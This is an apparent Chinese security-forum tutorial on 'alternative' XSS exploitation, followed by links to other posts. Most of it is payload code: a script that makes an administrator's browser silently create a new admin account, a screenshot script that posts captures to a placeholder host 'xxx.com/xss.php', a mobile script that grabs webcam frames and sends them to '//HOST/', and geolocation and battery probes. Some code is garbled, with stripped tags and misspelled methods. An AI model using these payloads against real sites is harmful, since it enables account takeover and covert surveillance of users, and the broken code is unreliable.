XSS漏洞的渗透利用另类玩法

作者:色豹
i春秋社区
今天就来讲一下大家都熟悉的 xss漏洞的渗透利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。
1. xss渗透添加管理员
后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。
无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。
这里我们会用到 Java和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。
var request = false;
if(window.) {
request = new.();
if(request.overrideMimeType) {
request.overrideMimeType('text/html');
}
} else if(Window.ActiveXObject) {
var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
for(var i=0; i<versions.length; i ++){
try{
request = new ActiveXObject(versions);
}catch(e){}
}
}
xmlhttp = request;
add_admin();
function add_admin(){
var url = "/admin/admin_add_user.php"; //添加用户请求地址
var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据
xmlhttp.open("POST",url,true);
xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
xmlhttp.setRequstHeader("Content-length",params.length);
xmlhttp.setRequstHeader("Connection","close")
}
2. xss截取客户的屏幕
现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。
这里需要用到一个js库html2canvas.js
document.write("< src="html2canvas.js></>");
window.=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
xhr=function(){
var request = false;
if(window.){
request = new ();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //发送POST数据
return xhr.responseText;
};
attack_a = function(){
var src = "http://xxx.com/xss.php?"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}
上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同
<>
d=document;
v=d.('video');
c=d.('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</>
这两种服务端获取到的post数据包是 格式的 ,我们只要进行转码即可看到对方的屏幕截图。
3.xss对移动端的渗透
现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。
这里只针对手机端Firefox浏览器说明。
xss获取对方经纬度代码
<>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</>
xss获取电池状态的代码,这里需要用到Java Battery API
<svg =alert(navigator.battery.level)>
<svg =alert(navigator.battery.dischargingTime)>
<svg =alert(navigator.battery.charging)>


什么是白帽子?是把技术融入生活,变成故事,宣扬正义。邀请你来i春秋社区,呈现你的故事,讲述你的精彩,欢迎大家来“稿”!
1.【探索新思路】
记一次Github项目被fork后的删除经历
【相信经常使用Github平台来托管程序代码的同学可能都会遇到自己项目被未授权fork走的情况,本人最近就遭遇了这样的情况。】
https://bbs.ichunqiu.com/thread-25588-1-1.html
2.【思路分享】
记一次XSS防御绕过的过程 记一次XSS防御绕过的过程
【一个闲的蛋疼的周末,总想搞点事情,于是在网上找到了个cms系统,得挖出点什么来,嘿嘿】
https://bbs.ichunqiu.com/thread-25625-1-1.html
3.【思路分享】
攻破黑市最流行的钓鱼网站2
【上次有人向我反映,我讲的过于快了,不适合菜鸟看,所以这次我写的相对来说比较详细~ 这对于有基础的人来说可能比较煎熬,哈哈】
https://bbs.ichunqiu.com/thread-25640-1-1.html
4.【思路分享】
看我如何通过野路子撸下权6的BBS论坛
【前两天发现一个BBS社区有解析漏洞,但是注册账号以后发现普通会员没有上传图片权限,只有头像处可以传,但抓不到路径就放弃了,今天想起来就继续研究了下。】
https://bbs.ichunqiu.com/thread-25613-1-1.html
XSS漏洞的渗透利用另类玩法的更多相关文章
- XSSer:自动化XSS漏洞检测及利用工具
转载自FreeBuf.COM XSS是一种非常常见的漏洞类型,它的影响非常的广泛并且很容易的就能被检测到. 攻击者可以在未经验证的情况下,将不受信任的JavaScript片段插入到你的应用程序中,然后 ...
- qsort的另类玩法,无聊写着耍耍
#include <stdio.h>#include <stdlib.h>char cmp_shellcode[] = "\x55" "\x89\ ...
- 使用Fiddler的X5S插件查找XSS漏洞
OWASP top 10的安全威胁中的CrossSite Scripting(跨站脚本攻击),允许攻击者通过浏览器往网站注入恶意脚本.这种漏洞经常出现在web应用中需要用户输入的地方,如果网站有XSS ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- XSS漏洞的分类
XSS漏洞依照攻击利用手法的不同,有下面三种类型: 类型A,本地利用漏洞,这样的漏洞存在于页面中client脚本自身.其攻击步骤例如以下所看到的: Alice给Bob发送一个恶意构造了Web的URL. ...
- Xss漏洞原理分析及简单的讲解
感觉百度百科 针对XSS的讲解,挺不错的,转载一下~ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...
- JSONP 安全攻防技术(JSON劫持、 XSS漏洞)
关于 JSONP JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案.他实现的基本原理是利用了 HTML 里 <script&g ...
- 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
==Ph4nt0m Security Team== Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...
随机推荐
- Database基础(四):密码恢复及设置、 用户授权及撤销、数据备份与恢复、MySQL管理工具
一.密码恢复及设置 目标: 本案例要求熟悉MySQL管理密码的控制,完成以下任务操作: 练习重置MySQL管理密码的操作 通过正常途径设置MySQL数据库的管理密码 步骤: 步骤一:重置MySQL管理 ...
- electron-vue中点击按钮,实现打开程序目录里面的某个文件
设计到的知识点: explorer.exe /select 打开文件夹并把焦点放到指定文件 nodejs中的process模块--child_process.exec 我这里是根据需求,点击按钮后打开 ...
- mysql存储过程、函数、触发器、
当数据库版本不允许直接使用存储过程.函数的语法时用delimiter // 将结束符改成//用完之后再写delimiter;将结束符改回来即可,调用过程.函数用call+其名字即可返回结果 delim ...
- Angularjs实现简单的登陆框
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&q ...
- 遵循PEP8风格指南
整理来自 effective python 一 空白 1 使用space来标识缩进,而不是tab 2 和语法相关的每层缩进都使用4个空格 3 每行的字符数不应该超过79 4 对于多行的表达式,除了首行 ...
- 利用os和pandas来合并当前目录下所有excel文件
#1.引入模块 import os import pandas as pd #2.取出指定目录下的全部excel文件路径 path="C:\\TEST" dirlist=[] fo ...
- 深浅拷贝, for循环小知识点 str操作 list的删除问题,类型转换
深浅拷⻉ : lst1 = ["⾦⽑狮王", "紫衫⻰王", "⽩眉鹰王", "⻘翼蝠王"] lst2 = lst1 ...
- css中的居中问题
前两天写了一篇关于display:table的用法,里面涉及到居中的问题,这两天愈发觉得css中的居中是一个值得关注的问题,现总结如下. 一.垂直居中 (1)inline或者inline-*元素 1. ...
- ivew Upload 上传图片组件
1. 先展示一个效果图 2.代码详解 <!-- 封面缩略图 --> <div class="pop-up-div pic"> <div class=& ...
- Oracle使用存储过程返回查询游标
如果报表逻辑非常复杂的话, 可以把报表逻辑放到存储过程里,加工一个全局临时表.前端查询的时候只查询临时表即可.只是第一次查询需要忍受加工的时间. --创建存储过程,返回SYS_REFCURSOR CR ...